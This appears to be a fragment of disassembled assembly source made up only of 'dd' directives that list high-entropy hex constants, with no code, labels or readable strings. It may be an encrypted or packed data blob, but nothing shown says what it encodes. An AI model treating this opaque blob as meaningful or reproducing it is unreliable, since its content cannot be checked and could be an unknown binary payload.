		dd 0C82720A7h, 2A256B24h, 0B8402EEEh, 0B7F40033h, 50595A31h
		dd 4F285A54h, 131C4F59h, 49710F8Dh, 26B34355h, 0AB262648h
		dd 264B2BC8h, 0D05C0C58h, 5C475331h, 3A3739C5h,	3FCAA73Bh
		dd 684A5459h, 799E4268h, 23544844h, 25774F26h, 74755928h
		dd 4243424Fh, 83569B5Fh, 0CBB68D34h, 0D33839C7h, 232F3D2Ah
		dd 764A4A0Bh, 0DD35516Fh, 0FE27B836h, 0AFD98E37h, 0A56058DDh
		dd 82910D0Bh, 47695C33h, 32C66E36h, 0BC7554ECh,	0DFE4B83Fh
		dd 0F121351Ch, 25F71B22h, 0A228F5DAh, 2C7D2227h, 3170DB8Dh
		dd 17A63E28h, 0C96C2687h, 0C63D3AC0h, 0AEED612Fh, 4ECD0F3Ah
		dd 8BCF2270h, 0AAA52D54h, 668A875h, 0E8118C00h,	45B09563h
		dd 91430819h, 0A5D23B58h, 0AA61F7DFh, 68F321Ch,	2C40EBB2h
		dd 27779F31h, 2B7BA4B8h, 0E4DF6BEh, 0EC0925F4h,	46F52947h
		dd 6BFB2378h, 7FC6D56Ah, 5E1FDF7Ch, 0E7A204EFh,	54FA1F63h
		dd 0EA1ACCA7h, 0C31E2EC0h, 2A311EAFh, 0DF36C918h, 0FA6DB560h
		dd 6C68240Bh, 19BC7AD7h, 70FF08EEh, 2A6D0C52h, 0AA282826h
		dd 31DC2399h, 0B1C9F15Eh, 0B8CBFC23h, 351C7B36h, 791847B3h
		dd 0EA786FD6h, 0A9DE1E3h, 0FF09A37Fh, 3C0DA724h, 29412943h
		dd 0B0222047h, 30B13D31h, 1C6306B4h, 351B5001h,	0E6FAD66Fh
		dd 4C2A2D9Dh, 2212A225h, 0DCC79CA4h, 0F37AD6D6h, 0EF6A472Ch
		dd 57166DB8h, 136D2DCh,	2F2A2138h, 3F62A1D4h, 0F6D29753h
		dd 2C20B49Dh, 0CE3B6BAEh, 223929ACh, 2F145443h,	0DA587EB5h
		dd 0F235355Fh, 3AADB6BDh, 3EABB638h, 4D1F1BACh,	0E4484D4Fh
		dd 25C5BF62h, 29E0CF27h, 0D62C0FAAh, 0C232C6EFh, 34FEB899h
		dd 3AD958E6h, 97CFD6BFh, 762EBF40h, 0C81E741Eh,	251082C5h
		dd 5C6F48E5h, 255F623Bh, 2B5A2E65h, 5559485Bh, 52373CDEh
		dd 0D77A5063h, 0B065439h, 0DCF62D76h, 27AA2323h, 1C60C53Ah
		dd 4A292920h, 2F3E2DCDh, 0D2935E33h, 34362434h,	0BE3ADD45h
		dd 0B2943DD8h, 0FA881CFFh, 22C5BD1Fh, 8C25C086h, 9F29CC8Ah
		dd 0CA902CCFh, 32D5F52Fh, 36D1F999h, 0E739DCE2h, 0DAD83CDFh
		dd 0F9F1313Fh, 21C4EA1Eh, 2024C7DFh, 0A24E7D5h,	37C47B20h
		dd 31278FF9h, 5531A3AFh, 2D2D3F23h, 153CC832h, 0EF1FD733h
		dd 44B2E1Dh, 94066ED5h,	3A69A21h, 593BA7A4h, 0E1248EC5h
		dd 963CD235h, 0F8B23455h, 0B4AD3C4Ch, 6FDF144Fh, 0AFBD0D64h
		dd 23573321h, 3B33253Eh, 6AA76E6Eh, 0DF153DD3h,	0B2B2844Ch
		dd 0F7686A28h, 67B23888h, 783AC216h, 87B075BEh,	60A31B6Eh
		dd 0A4715595h, 5BAB6656h, 0DFC5647Bh, 0D05B243h, 31D00CF5h
		dd 2FE3C34h, 0BE2E0BFAh, 15E33543h, 0A0266A13h,	31A49B0Eh
		dd 5A96270h, 2630EB22h,	3AF274C6h, 3EF4621Eh, 79F7BC12h
		dd 2C7CE73Fh, 68F33732h, 0ABB69E24h, 754FCAECh,	0C0EC27E7h
		dd 0A72AEA4Dh, 0B47FBAEDh, 367068D9h, 68DF6611h, 46B387Ah
		dd 5D79D66Dh, 1D5D211Bh, 19DD1BD4h, 1C2A1E22h, 37113E28h
		dd 1C150B17h, 877310Bh,	0C790E7Eh, 0AF3A0264h, 0F7058507h
		dd 1E26F420h, 19D51BF1h, 27251FD9h, 162F1427h, 12091027h
		dd 60D3001h, 76090E0Fh,	6397E0Bh, 26F0077h, 0D422767h
		dd 0EAABCFE9h, 2107E601h, 91992CE9h, 0A0ED2836h, 49322FA2h
		dd 0BEE35996h, 0F838BCE1h, 0FC25D3FBh, 1C1038DFh, 0ABD81DDCh
		dd 0D3F301E9h, 0E304F705h, 2F0BE022h, 0FA2F2D0Dh, 621AA6BCh
		dd 38DFF182h, 0D5FAF0B2h, 17DDFF29h, 0FB971DF8h, 0C7A38B20h
		dd 27C25C24h, 422ACD59h, 4E842DC8h, 0D76B31D4h,	37D26434h
		dd 913ADD71h, 63ED97Dh,	0FA2C1CFFh, 22C5091Fh, 26C10569h
		dd 9229C83Eh, 0FF196EC3h, 522EE531h, 362A342Ch,	93D0A6F2h
		dd 0A0590DB6h, 0F514051Dh, 23915696h, 3069AE3Ah, 58F9CFAAh
		dd 412D9B25h, 3BD136C6h, 3FB4A67Ch, 32783DD6h, 37B86B68h
		dd 169BF47Bh, 600F730Dh, 74721E23h, 273FE72Ch, 272B9569h
		dd 2C7F2E1Dh, 37330E61h, 6C375634h, 80B23E39h, 4BFC651Fh
		dd 161D7BF4h, 21231131h, 9487E6AFh, 2E715DDEh, 3F6A387Ch
		dd 47FBB410h, 0EC16B009h, 0B3B1004Ch, 0F6BB2DFCh, 3A51951Bh
		dd 1B37540Fh, 522D6452h, 2660A32Ah, 0AA582CD8h,	3051DBDFh
		dd 66632146h, 6A016426h, 0C1E3E2D3h, 0F1745BC0h, 20205B2Bh
		dd 15602202h, 510CA3E1h, 290C282Ah, 0D27A2DC6h,	0B11432B2h
		dd 0BAFE2337h, 0D574393Bh, 1D7BDA2Ch, 217C719Dh, 0FACB420Dh
		dd 98D8D9C7h, 2F23AB28h, 0BDD91D3Dh, 1B3BB24Dh,	4C33DBB0h
		dd 3853C553h, 953F8635h, 1B1EBC78h, 0AA462970h,	0CBA12501h
		dd 2BA17A34h, 96EE1EF5h, 33D0A8EFh, 73BF3434h, 2B93D1Ch
		dd 4B3F3D3Ch, 66DC9F17h, 0DB29A15Fh, 3225871Ch,	0D2AAC75Bh
		dd 372C3F29h, 3394BF20h, 0BB353633h, 2D1B3015h,	955C387Eh
		dd 5F727A57h, 5309BF79h, 0A4474A54h, 40C04197h,	2E0C194Dh
		dd 359E8B10h, 7A8C9631h, 0B5D1C36h, 37FC39D8h, 129A3E93h
		dd 6D5C1E4Eh, 43424C40h, 81A5440h, 47EE852Bh, 4F2F2AA9h
		dd 405DAE50h, 7716727Bh, 3C78531Ch, 1D3F363Ch, 421CFD47h
		dd 2264011Ah, 43062EE4h, 45594C47h, 3FCEEC0Bh, 47415848h
		dd 363E111Ah, 3811C037h, 3C3D383Ch, 7CDD2D3Bh, 21462ECDh
		dd 484C4653h, 0AF2A4E43h, 4D2E8A26h, 325442A3h,	3911D6BAh
		dd 3A382CB2h, 0D4D53E63h, 1ACC015Fh, 7F704E13h,	14E0A226h
		dd 7C7BE425h, 7B347B7Dh, 479014C6h, 0CDBF1112h,	3CD06B65h
		dd 1DEC30FAh, 2CA66B8Ch, 0A53B1117h, 6267028Eh,	8C237715h
		dd 15282A29h, 0BD202243h, 0A7FBAA7h, 5CA15661h,	0AA1B5607h
		dd 9F0142B5h, 218A88FCh, 0ABB781BCh, 47921B88h,	0E714EDBDh
		dd 0F3A6B80Ch, 0A7D2D50Eh, 97CA0BC0h, 436B1ACh,	1BAA5D28h
		dd 8A3D3024h, 661E1C97h, 1971B7C3h, 0A2BA887Bh,	4E591347h
		dd 132710A6h, 5C231428h, 6D396833h, 0C6BEEFC4h,	0DD1A6F3Bh
		dd 0E1124141h, 63A4E079h, 7F2C3987h, 1E2EEB7Bh,	3EF614FCh
		dd 6AF6A7B2h, 62FABD68h, 0E2392B99h, 3E9B3B17h,	8C944B4Eh
		dd 243BA005h, 5DAA7024h, 0B4B7C68h, 6E01E94Ch, 36DB335Bh
		dd 0BB92E594h, 6C6806FEh, 1ABF7698h, 100EB2DBh,	75378520h
		dd 2B86F2CCh, 7DE2265Ch, 2FEBE7C4h, 453DC245h, 16313538h
		dd 713BC6ACh, 6D6F6C7Eh, 16155190h, 60817594h, 972AD433h
		dd 6FA03927h, 7E69EAA8h, 3024CF79h, 7D1B35CFh, 36FDBB3Fh
		dd 20D5386Ah, 9443733Fh, 0A17E1775h, 7EE4107Fh,	290CE3A7h
		dd 16EF2B5Ah, 0BC195AEBh, 8C34774Ch, 873B373Eh,	3D786EDAh
		dd 0B9E83E3Eh, 284C95B9h, 0D5CB7051h, 287F29B6h, 5D3C09B3h
		dd 5E7A2D25h, 5D6538D1h, 77734150h, 5457795Fh, 1934733Fh
		dd 95774648h, 3522240h,	9035051Ah, 2B4BB72Bh, 5F5B595Eh
		dd 5C545F79h, 7C547535h, 7E746B7Dh, 0D1E0E70h, 72717835h
		dd 55231B7Fh, 6555787h
		dd 10265A64h, 26CD7A22h, 0B51BD9F8h, 116535B3h,	0FABD0586h
		dd 39FF244Eh, 0DC3C0BCCh, 91959636h, 140CC122h,	396DB178h
		dd 52CCC327h, 157C704Eh, 34306252h, 3AF7DF3Ah, 3C38733Bh
		dd 0A2F32B3Ch, 242F1F1Eh, 89CB2320h, 0E0AC227Ch, 2FF272A2h
		dd 232C6BFDh, 37250332h, 9BE0625h, 3B090FB2h, 6AB63CEDh
		dd 2A95190Ch, 0AA22E019h, 0AC622D55h, 0A2236B1Dh, 2B9F215Dh
		dd 2AFA13BBh, 350AB830h, 382619E8h, 3187C014h, 6F5C288Bh
		dd 0DA84D31Dh, 8577CC09h, 0BAEC2C52h, 16BD4813h, 3270D810h
		dd 5737D432h, 68591817h, 4EED2BD3h, 51E1E7Ah, 82EF21F6h
		dd 2424F2A6h, 0FA7D17CEh, 0AB58672Ah, 5530CC0Ch, 0F225B544h
		dd 0BF493636h, 0FF28284Fh, 0F34C675Eh, 2010290Ch, 0BC07AE23h
		dd 6E524E5h, 0ADD7049Bh, 0BC2FDFE9h, 3B185D16h,	37373935h
		dd 3C343939h, 0ACEF3E37h, 1F2BD11Eh, 23E5E0ABh,	0C7262D25h
		dd 0EC2B296Bh, 1F2F3DACh, 0A3F13730h, 6D3B353Dh, 0CA3AB26Eh
		dd 0C09658D4h, 1E59EAE4h, 63AA5302h, 27229A24h,	28906225h
		dd 388F8814h, 3290AFF0h, 0B47B12B9h, 0FA5A1A15h, 0F5395DE7h
		dd 1DBDD284h, 23017558h, 564680D3h, 9E7C5DE7h, 1F2CABACh
		dd 33DD0C2Ch, 29A65B1Bh, 2E3B3657h, 6A823B9Bh, 85BF3CBEh
		dd 0D8943B9Dh, 25232A49h, 6CA2E713h, 3C41660Dh,	2CAAE82Ch
		dd 64323511h, 0B1F936BEh, 3CB71EA5h, 0B42BB73Eh, 85169D85h
		dd 0E4EA2421h, 20073EA0h, 8B947209h, 27BEAD1Bh,	32B433EBh
		dd 1AD63E54h, 7DB070h, 0FF7F3B3Ch, 2394890h, 6652094h
		dd 269AF37h, 2A287A35h,	0D1083827h, 0B33330D0h,	3334D5B9h
		dd 2A213867h, 343CDEBAh, 21C4A55h, 3B3F1E04h, 3E203C2Bh
		dd 8140A774h, 2C2C6F17h, 13662F46h, 0CA1EB25Ah,	6B8EF23h
		dd 15BCFFB9h, 0AE1B5506h, 0A8E0214h, 0AFB182B0h, 218474EAh
		dd 29CB282Bh, 8D0E3BAFh, 5C571675h, 0B2417631h,	1629DA69h
		dd 0C38B38CEh, 2B1DDC1Eh, 22027044h, 131CB52Eh,	0A1AE263Ah
		dd 9A61C15h, 1766A321h,	0F3328520h, 3E4AC1D0h, 473D2C4Ch
		dd 0A9E1F0Fh, 2135AE1Ch, 2530BD75h, 3FD12997h, 2F65EC28h
		dd 0A72A2607h, 6E347C10h, 3B393972h, 4BF59783h,	553C1A6Ah
		dd 2065A71Fh, 0EF256B62h, 492962CEh, 31342A62h,	307803FBh
		dd 34717B68h, 79397296h, 113C0824h, 52287D0Dh, 202C492Eh
		dd 175B1140h, 1BB6155Bh, 92188729h, 0D51CE01Eh,	7D93202h
		dd 0BC905C4h, 0B9330E3Ch, 10CFB409h, 2BED29F1h,	0B0170E00h
		dd 2C54FF11h, 42A1F01h,	6F18161Ah, 33047906h, 163037Ah
		dd 93723172h, 8A763C89h, 1E0D3818h, 8205207Bh, 738D0023h
		dd 0E210CCFh, 0A1092DEFh, 8B69202Fh, 0A235B89Dh, 3A811B37h
		dd 0D6856E18h, 2A1E9CA4h, 3220661Fh, 0B537237Ah, 0AF06CF77h
		dd 0B1A45B2Ch, 0D9743C2Ch, 79263229h, 0D13C3EF5h, 0FB630B50h
		dd 32654A37h, 28D017DEh, 2CEC2AEEh, 20EA2EEAh, 3C0FAEBDh
		dd 0D87D26EFh, 3CF207AAh, 30F48ABFh, 3933F909h,	47EFE2D5h
		dd 0F816DB25h, 826A330Dh, 4F1A344Ch, 2A2A1117h,	0C102E23h
		dd 0DB3E71B4h, 38365C0Fh, 8A3A0299h, 3305E207h,	1E213527h
		dd 1E481C56h, 1AF418AFh, 0DB148DA7h, 17133B16h,	0ED3BBC4Fh
		dd 0D6D52D53h, 3A3BCC39h, 3A0D3C38h, 112C130Fh,	11200F2Eh
		dd 153C1336h, 29001706h, 191C071Ah, 0D00171Eh, 2D3929A3h
		dd 17AAB767h, 0BC4C3A32h, 0E42EBE5Ah, 30948E9Dh, 2C58A228h
		dd 82052777h, 0B0D4D7D6h, 11A77773h, 29B3123Ch,	6036B7DDh
		dd 0B2E53EFAh, 0F36F3F75h, 1F901D58h, 2CB01645h, 0A6A72AE4h
		dd 8C65E88Bh, 42E83ADh,	30CE06D8h, 0B435C50Ah, 183161FEh
		dd 0DF35CD38h, 0D096164Fh, 984BC84Dh, 120161D0h, 28893B37h
		dd 0ED234A7h, 82CECDD2h, 0B2B0C432h, 653AC037h,	0FEB88965h
		dd 0A276B13Fh, 0DE20107Ch, 252B232Dh, 29272729h, 2D232B25h
		dd 3071B42Dh, 1B353373h, 492D3672h, 3C7D9D3Ah, 2D1BFE8Fh
		dd 9CB51D1Dh, 65E422E0h, 2936F425h, 710AEA1Dh, 0A01A2E5Ch
		dd 4533C65Ah, 0B30735h,	0D9C79009h, 22E8A80Fh, 0AF1F587Ch
		dd 23B72065h, 2663B53Bh, 2E2B69F8h, 0AC652D38h,	95B339F4h
		dd 7B3EB701h, 0BF3231B9h, 68D51E34h, 0F6112C71h, 3EA1E452h
		dd 0D6AE5663h, 5FD6AD27h, 78D3A729h, 72C122C7h,	0F60DBD2Eh
		dd 0FEBA2C33h, 3B3838E9h, 579DAF6Bh, 0A125DF1Ah, 67E184ACh
		dd 8E8332Bh, 79A7D4D5h,	0BA30330Ah, 65663B74h, 3B50DF65h
		dd 7B043B49h, 10DFBC36h, 0A9DA1E1Eh, 7A7C2A67h,	0EA277D78h
		dd 0A92A2A25h, 301958D2h, 6431D5F0h, 0B3F01D65h, 0D46BF4D9h
		dd 513D5B9Ch, 7B1E071Ch, 23575424h, 0F02693Ch, 240D3927h
		dd 5EE1023Ch, 333D313Fh, 8C763E87h, 0B9D6BA33h,	2B558F0Ch
		dd 11770971h, 3E8B4B6Bh, 0B4B74F50h, 415A08A8h,	6C312C6Bh
		dd 7C614181h, 42646401h, 0A932745Ch, 2379D0Dh, 0C3CC119Dh
		dd 0E225E0E0h, 77D42626h, 189016BBh, 1CD31AE6h,	3011D0Eh
		dd 7430155h, 0A7805A5h,	0E510868h, 28D10B19h, 0D2A1F1Dh
		dd 0E916A414h, 9102D13h, 491C611Eh, 4F18A61Ah, 0FF0B8A09h
		dd 140E130Dh, 0BF015400h, 0AA05B207h, 0A525B726h, 3119D21Bh
		dd 70AF2664h, 0EA747604h, 8F9D2162h, 6338123Ah,	1D3A5400h
		dd 391B053Ah, 0F0C9C294h, 1F050F7Bh, 22A00B0Bh,	26A44859h
		dd 0F529A958h, 0EC2D330Ah, 1631640Eh, 76D9B737h, 32C6F1B4h
		dd 0FE6EFC08h, 0B3EEE187h, 0A2F11FE9h, 0CD753101h, 1C69A8E4h
		dd 59D2103Ah, 663AE90Eh, 0A60B3B5Ah, 3BA11730h,	220D043Bh
		dd 384BC03Eh, 0AB481E15h, 0CCA03A67h, 5CE72725h, 335F6244h
		dd 11186E65h, 667101BEh, 6E3A1C95h, 3C7B2219h, 0E5B91DD5h
		dd 1DBE70BEh, 0A3BD4335h, 2F2E824h, 0E9922F49h,	4E575EADh
		dd 0A614FF31h, 3522BE56h, 3F7AB968h, 3DFF46C3h,	8B5C6651h
		dd 62A0A22Ah, 11AE05FDh, 4C28698Eh, 4F2D8DB9h, 0F3AD390Eh
		dd 0D092A007h, 180B39D6h, 9F507115h, 0D1343F3Fh, 1C1Eh
		dd 25392353h, 29590925h, 2EA82B34h, 2E305E12h, 447E3032h
		dd 39182736h, 3D4D6339h, 5E183F1Fh, 21F6F7Bh, 55572121h
		dd 284F0525h, 2C5AA82Ah, 413ADE09h, 343B1731h, 3846A836h
		dd 90383A1Fh, 3C3F4F1Ch, 9212B9EFh, 2180239Ch, 6EF7D210h
		dd 29AE2BA5h, 0A2A57C30h, 3331318Bh, 22C96464h,	3A38E5B4h
		dd 81E50E34h, 42944419h, 22220C3Bh, 0AC722503h,	10E3A237h
		dd 32582C3Dh, 2645F9ABh, 373764B9h, 3B6F3437h, 0FEBE324Eh
		dd 142C526Ah, 68231F1Fh, 576FB32Fh, 649820A6h, 5D414469h
		dd 54424E2Eh, 5D574B77h, 5E563357h, 78777C1Ah, 145E716Ch
		dd 132D2D51h, 6B23A258h, 784F00DDh, 0AC13CA23h,	0B02FAF99h
		dd 3472795Eh, 1E173710h, 185CCA38h, 0BA4D621h, 0DFF64E3Ch
		dd 27A32CE4h, 37256550h, 330E6D44h, 7FE01DA7h, 35A245D8h
		dd 59FE3216h, 77332939h, 0B4610D18h, 40E147DDh,	0FD281942h
		dd 29252B2Ch, 2A292727h, 0E7C3E2Bh, 82F6C132h, 0DE31341Ah
		dd 38493F23h, 11EDFFF4h, 1C20B817h, 27B0E1F6h, 3D062172h
		dd 0C1108404h, 162CCB0Dh, 57449BD5h, 0F46C22A2h, 0EDB3F52Dh
		dd 0D7E13CAh, 4E4D3A5Dh, 140E93F5h, 0A0CBA6ECh,	0EB1D3AF5h
		dd 2F4B2E5Ch, 99983DA7h, 789A802Dh, 3EB95FDDh, 5D3D7349h
		dd 6E34F532h, 13F1E68h,	642A24E4h, 26266076h, 590C82C9h
		dd 8F474949h, 0F3EF71D3h
		dd 151655D7h, 0FA184A1Dh, 503EDFF8h, 42DD6AC5h,	0E0A0213Eh
		dd 0E57622A2h, 0AB2F57CAh, 66232A49h, 1D61647Bh, 16358DD3h
		dd 0F119504Ah, 0C833A4DBh, 89D1FDFh, 20AB399Eh,	0DA24DBA1h
		dd 787E3C53h, 8EDC65C2h, 35526CAAh, 145C26CDh, 0B678F132h
		dd 3849FB02h, 1ED7679Fh, 0ECD35D02h, 25707335h,	8B463644h
		dd 0ADA2C512h, 3B5A078Dh, 8C6E6C6Eh, 2D3C7631h,	56333253h
		dd 4F35FC2Eh, 0BF742D38h, 0F4CA7330h, 132CA413h, 8B2323ACh
		dd 0AFDDC5BAh, 75BF616Dh, 93669F06h, 3197A832h,	39349929h
		dd 11351C3Bh, 22412775h, 6A2F062Fh, 4069E803h, 0A8C57D3Bh
		dd 26F43A0Dh, 660D3279h, 0FD7FC935h, 3EF118BFh,	0E99C188Fh
		dd 0E1720F5Ch, 0D361F21h, 0B34DDCAh, 6D2CDB38h,	77D12FDEh
		dd 56D35CAh, 0E9364A3Ch, 791CFB1Ah, 9C1F283Dh, 303B7294h
		dd 77E7CA72h, 2ACBD926h, 3AE47FB2h, 30202E22h, 0E42F3002h
		dd 67099634h, 18EB4E00h, 1B624A2Dh, 34FF013Ah, 717A0C10h
		dd 0B74D4Ch, 0BB1A7B99h, 3ABAD2A3h, 273C3210h, 671E3124h
		dd 6AFC0469h, 630F7B5Dh, 3EC8E34Bh, 2004701Bh, 1B2014B3h
		dd 28292D33h, 8E3F6E5Eh, 8330C0C7h, 0BD616227h,	74B25871h
		dd 6E6F607Bh, 6DD3906Eh, 41E5230Bh, 26E4A701h, 29F2CF76h
		dd 3D393B2Fh, 1944EFABh, 0FABF3462h, 63BA2C64h,	4C493D9Bh
		dd 454F3Eh, 613EF675h, 8ACB720Ch, 3C25878Dh, 0EC31B0C2h
		dd 8F588B21h, 3B333D76h, 38382535h, 0B2637F8Bh,	0F7BE7B87h
		dd 831F168Ch, 0A3754D30h, 4CCE192Ch, 0A03A2616h, 2F6C3EBDh
		dd 0F4763010h, 9B7611B0h, 0D33C3939h, 0C07F2CBAh, 0EFB109D7h
		dd 0DF23B10Fh, 96673562h, 9ACEFE51h, 9C3D2C2Dh,	58612E7Fh
		dd 737FDC2Ah, 0BB03C14h, 0F9FDB980h, 551C3DDFh,	0F12C6B1Ah
		dd 85753B26h, 59ABF100h, 493DCA73h, 353022A7h, 0F68A58F2h
		dd 39332979h, 35A32991h, 83DA37AEh, 288F7F15h, 0CE99CA34h
		dd 20B02EBAh, 2F5BDDA5h, 3F3D2B41h, 2037C10Ah, 6D6F023Ah
		dd 7FEB8336h, 1E3E2BD5h, 11EB13E3h, 1621D118h, 0D2F62BDFh
		dd 378AE226h, 0C72F23D3h, 1A6316AEh, 39C93BCBh,	83A437C9h
		dd 3BB433C6h, 3E6712E6h, 27497032h, 82E32ADDh, 0A72579B3h
		dd 0C644621Bh, 0FA221060h, 33646425h, 5A923453h, 22F9BF39h
		dd 0CD7DEED6h, 0C940520Ch, 34264304h, 3B991E2Fh, 0F6A92423h
		dd 387D365Eh, 2E2523ECh, 0BBE93E70h, 6EACDAD6h,	0CA3AA37h
		dd 0DF7B3A59h, 15CB2221h, 5CCF2E21h, 39972E60h,	63F26BFh
		dd 3004AA35h, 2DC712B9h, 0EF3E3E09h, 1F063631h,	4A31F515h
		dd 11CE2519h, 23103D20h, 0A12E197Bh, 3F0A7904h,	0F32A7E50h
		dd 3FBE7500h, 0CB0B1D6Ch, 7BB60108h, 5E2DF63Fh,	16F11027h
		dd 2350E4A6h, 2A3FB099h, 0C3B2028h, 3245BB41h, 22733452h
		dd 0CD3D76BAh, 0B73D6DE3h, 5BDB1779h, 21241F0Ah, 0D9D0C5CAh
		dd 0C9C071D9h, 2D292B25h, 20792C41h, 1170B87Fh,	0A6E7F32h
		dd 3A433BCCh, 4224BF86h, 281FDD1Fh, 1BB81DB5h, 0D8FD19E4h
		dd 0FC3B283Eh, 332F7622h, 35180222h, 8AF21B5h, 0CF70A92h
		dd 150F3EDBh, 5A2F312Dh, 12225811h, 168D14B6h, 2A0818ECh
		dd 1D777F4Ch, 19B03B0h,	0DF043583h, 4808CF0Ah, 73E9504h
		dd 27222538h, 65D321Dh,	0DE34E47Bh, 35EB8A5Bh, 0EF3D3DEAh
		dd 0F5B220CCh, 6A3D0CB1h, 2791C13h, 0FA916A5Eh,	0FE245B7Eh
		dd 28C9DE09h, 25EE1B62h, 0F8DFF825h, 0E21FE021h, 117C2C2Ah
		dd 713CB72Fh, 0CDBA1E14h, 27D50B3Ah, 1C1DDFFFh,	207A6A7Ch
		dd 41470F24h, 4F52442Dh, 2C4F1FC9h, 302F6E2Fh, 405C5A32h
		dd 385E5050h, 683E3A41h, 6F51774Eh, 1F6C7888h, 2D427426h
		dd 11A42324h, 44490738h, 1E098D41h, 77327000h, 30F0677h
		dd 3B7B7B01h, 7D7F0409h, 0BE29FFBh, 0A22BC03Bh,	0AD251F40h
		dd 0A1130C73h, 6E14086Fh, 32CED1AEh, 34156530h,	0D8B86C0Bh
		dd 5E183D1Bh, 1F7E493Fh, 0AC711F4Eh, 217C07B6h,	41202526h
		dd 1AAD17FEh, 0EAC03AD1h, 0F12673B3h, 1DBCBA2Eh, 7D3EFB72h
		dd 9C1BBB31h, 4B261D1Dh, 2474562Dh, 5C234D1Ch, 2468A77Bh
		dd 0E2C77E35h, 15C06031h, 38BC6077h, 0C900364Ah, 4D681349h
		dd 49A2F518h, 5DA93B21h, 0AE267334h, 45A32146h,	0AF6AC53Ch
		dd 65CDCDE9h, 0B4EEEFDCh, 0CD7964h, 6E2E5708h, 0C608E393h
		dd 0E6A2419Fh, 7F16062Fh, 0CAD52183h, 3F4E6B61h, 5839F05Eh
		dd 26D34C89h, 9B30383Eh, 0DE829C9Bh, 155E131Dh,	0F9D7173Fh
		dd 2D80E339h, 89F06DD1h, 378C5B12h, 38F081C6h, 0D41BE9DBh
		dd 2479A32Dh, 0FC32C81Dh, 3B581E5Ah, 3877F66Bh,	7F5744A2h
		dd 5459AD2Dh, 0D4201128h, 4E6BA77Eh, 0CB6CB24Dh, 1AD61220h
		dd 8D4B5824h, 65B23C3Ah, 1F3E52BDh, 25AB7177h, 2DD6F6DBh
		dd 7B2B4944h, 72EBF29h,	46693AA2h, 21DE633Ah, 3BBE399Ch
		dd 9B067F3Fh, 1D1D941Bh, 0AE21842Bh, 0E26242Bh,	2AB92883h
		dd 8A0C3428h, 3131A42Fh, 0AE359037h, 0C63A3037h, 0A23D9F79h
		dd 3CE8183Fh, 21801FBAh, 2580CF21h, 2AAC2782h, 852C8FCAh
		dd 95E42C2Eh, 3598E332h, 504F6476h, 6D54584Eh, 8C187C0Bh
		dd 421C3E99h, 504A4E48h, 2227B65Ch, 242B5C6Ch, 64CF577Eh
		dd 0F6A0F236h, 383A2635h, 6F697F3Dh, 183CEEBCh,	7C6D7358h
		dd 262F8141h, 824B6124h, 48426D2Dh, 2B6E2D5Ch, 434B4373h
		dd 52C6830Ah, 2045B10h,	15C7CD9h, 7324192Dh, 879B1E7Dh
		dd 781B4660h, 144A0382h, 30A8F7F0h, 0D7010E4Ch,	940B5705h
		dd 45A7FB2h, 54BC3B8Fh,	16198801h, 44BF217Dh, 1B474E0Dh
		dd 4A2F42B1h, 2609CB14h, 0E2E3114Dh, 0B50233B7h, 0B9267536h
		dd 3BD9C330h, 1DCEEF94h, 0C01F9BC5h, 0A1CB22A4h, 5DD78025h
		dd 6481AA23h, 866DFB34h, 2F9933E5h, 0BD1436B0h,	3CBE1139h
		dd 0B13FBB0Eh, 591E9827h, 0A66C21A5h, 27A37324h, 2BAF7782h
		dd 5E2EA84Ah, 470EB20Ch, 936BD0Ah, 5ED0784h, 2FDE0223h
		dd 7E1C1C24h, 2005B11Fh, 1272423h, 3019CE17h, 1F2D1D1Ah
		dd 7015Ah, 3669064Eh, 0B10A5304h, 0E70EFE08h, 2939283Fh
		dd 14132BF8h, 0D1123D6h, 491E6110h, 1A2C0A1Ch, 17B70633h
		dd 13B61557h, 6E1696DBh, 6C0CAD52h, 0D213EF2Dh,	0AE951D2Dh
		dd 0F6A84450h, 24150E0h, 0E8A83009h, 2A0A9D31h,	0CD3B10E2h
		dd 1D8526B6h, 7795D269h, 1DFC2CFDh, 6A18DF6Fh, 0D6079BB9h
		dd 672A750Fh, 3F8BEB3Eh, 4F15C5A8h, 998B6117h, 35701441h
		dd 4F39BB02h, 0BC23D610h, 6B1CB4E4h, 3E22C23Ah,	0A53E27CBh
		dd 8A246A20h, 0E9947A04h, 7C33715Dh, 5E7BB47Ah,	0C632FE0Fh
		dd 7F391ED8h, 317DB2Ah,	61C118DCh, 0C89D7307h, 49C9BB32h
		dd 867AC27Fh, 30732B4Fh, 0A0357492h, 6CB23671h,	7A433A7Dh
		dd 1D5C4B3Fh, 7E1E5974h, 772265B4h, 0E96F2762h,	8F080226h
		dd 295FD14Ch, 342C322Eh, 3828362Ah, 3C243A26h, 4C03E22h
		dd 1E021Ch, 3C223E20h, 38263A24h, 0ADC22E5Dh, 0C43E2ECCh
		dd 136AD935h, 13BABE37h, 383AB530h, 0BE6572D9h,	1EDD94DFh
		dd 2229E21Ch, 2991FB22h, 2A26D727h, 2E222C24h, 323E3020h
		dd 363A343Ch, 35263838h, 313D333Bh, 111C143Fh, 0AA77491Eh
		dd 979DDA0Ah, 2918153Ah, 791E6718h, 5502731Ch, 74C0132h
		dd 0BA405A2h, 910E3B9Eh, 0C029FF0Ch, 121FFA2Fh,	252310CDh
		dd 28143A16h, 1F07190Dh, 3731D6Dh, 0B8004231h, 0A404A206h
		dd 0F9F3A0Ah, 28EB0D85h
		dd 1B1E2EF4h, 37162D14h, 1734452Ch, 0C31EB5D8h,	4F39EEB6h
		dd 3753AC83h, 0B134DD65h, 0E9523808h, 573C3D6Ah, 7C18250Fh
		dd 2341401Eh, 0FCBCC71h, 7A215A55h, 0CE1927DBh,	50C5582Dh
		dd 66306404h, 3F395ADFh, 14D53EECh, 91E49F6h, 72701A2Ah
		dd 3F1B7C75h, 2173D0Eh,	232D14EBh, 4481EE22h, 116B340Eh
		dd 9935D76Ah, 0D27E7882h, 5E583EFBh, 2140934Eh,	25D9CA72h
		dd 0E3AC2784h, 0FDA0D2A2h, 70EFF01Eh, 548172B7h, 6387D736h
		dd 0B93B8B3Dh, 0A54E500Eh, 190F5C27h, 63A14585h, 0CBA52D27h
		dd 1B22E930h, 27A7F9A7h, 171E1554h, 65355F38h, 0FB6D1BD0h
		dd 0B3908436h, 71F51DBBh, 30A12EBDh, 636850E0h,	2F63EC22h
		dd 754F7C05h, 3D91334Fh, 1539B4F3h, 0DAF512BCh,	3DDB5C38h
		dd 491A7B6Eh, 0A0218DF6h, 6BE44B21h, 0A2292762h, 59C4E42Ah
		dd 0BBCFD287h, 35A433A1h, 0BAB26735h, 3EBC3BB5h, 0D9736F6Ch
		dd 6C9FFF81h, 36A3F227h, 0AB139A25h, 2C430EEDh,	312DEB29h
